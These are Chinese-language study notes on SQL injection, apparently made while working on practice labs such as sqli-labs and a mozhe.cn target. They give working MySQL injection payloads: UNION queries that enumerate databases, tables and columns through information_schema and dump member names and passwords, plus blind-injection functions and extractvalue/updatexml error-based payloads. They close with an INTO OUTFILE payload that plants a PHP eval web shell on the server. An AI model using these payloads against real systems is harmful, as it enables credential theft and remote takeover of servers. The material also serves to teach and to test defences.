基本手注
- 判斷是否有注入如點
- and 1=1
-
and 1=2// 判斷是否有注入點
判斷傳回字段數目
1.order by 1
2.order by 2
。。。。。
-
檢視目前資料庫名,檢視版本号
1.union select 1,database(),version(),4
例如:
http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,database(),version(),4
- 爆資料庫名
-
union select 1,SCHEMA_NAME,3,4 from inforrmation_schema.SCHEMATA limit 0,1
注:在MySQL資料庫中information_schema庫中,表SCHEMATA 中在SCHEMA_NAME字段中包含所有資料庫名;
limit 0,1意思是從第0行起,取1行資料sql注入學習筆記基本手注盲注基于報錯的注入寫檔案注入(需要寫檔案權限)
-
爆表名
1.union select 1,2,TABLE_NAME,4 from information_schema.TABLES where TABLE_SCHEMA = ‘資料庫名’
資料庫執行語句:select * from news where id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup’ limit 1,1
注明:information_schema.TABLES 存放着表名
-
爆破字段名稱
字段名在information_schema庫COLUMNS表中,
表的格式:
sql注入學習筆記基本手注盲注基于報錯的注入寫檔案注入(需要寫檔案權限) 常用的表的字段:
TABLE_SCHEMA //表所屬庫
TABLE_NAME //表名
COLUMN_NAME //字段名
COLUMN_TYPE //字段類型
例如:
http://219.153.49.228:48509/new_list.php?id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA=‘mozhe_Discuz_StormGroup’ and TABLE_NAME=‘StormGroup_member’ limit 0,1
-
爆破字段内容
檢視目前表中有幾條資料;
count()
例如:http://219.153.49.228:48509/new_list.php?id=1%20and%201=2%20union%20select%201,count(),3,4%20from%20mozhe_Discuz_StormGroup.StormGroup_member
将資料拼接成字元串
concat()
例如:union select 1,concat(name,’-’,password,’-’,status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1
盲注
sqli-labs 第五關為例
所用函數介紹
- left(a,b) 表示的是從字元表達式最左邊一個字元開始傳回指定數目的字元.若 b 的值大于 a 的長度,則傳回字元表達式的全部字元a.如果 b 為負值或 0,則傳回空字元串.
- right(a,b) 表示的是從字元表達式最右邊一個字元開始傳回指定數目的字元.若 b 的值大于 a 的長度,則傳回字元表達式的全部字元a.如果 b 為負值或 0,則傳回空字元串.
- **substr()**函數 substr(字元串,截取開始位置,截取長度) //傳回截取的字
- **length()**函數 擷取目前字元串的長度
基于報錯的注入
所用函數
-
extractvalue()
extractvalue():從目标XML中傳回包含所查詢值的字元串。
EXTRACTVALUE (XML_document, XPath_string);
第一個參數:XML_document是String格式,為XML文檔對象的名稱,文中為Doc
第二個參數:XPath_string (Xpath格式的字元串)
concat:傳回結果為連接配接參數産生的字元串。
payloaod: and extractvalue(null,concat(0x7e,(select @@datadir),0x7e));
extractvalue注入的原理:依舊如同updatexml一樣,extract的第二個參數要求是xpath格式字元串,而我們輸入的并不是。是以報錯。
-
updatexml()
payload: select updatexml(1,concat(0x7e,(select user()),0x7e),1)

payload(所用函數outfile)
- id=-1’)) union select 1,2,’<?php @eval($_POST["cmd"]); ?>'into outfile"/var/www/html/22.php";%23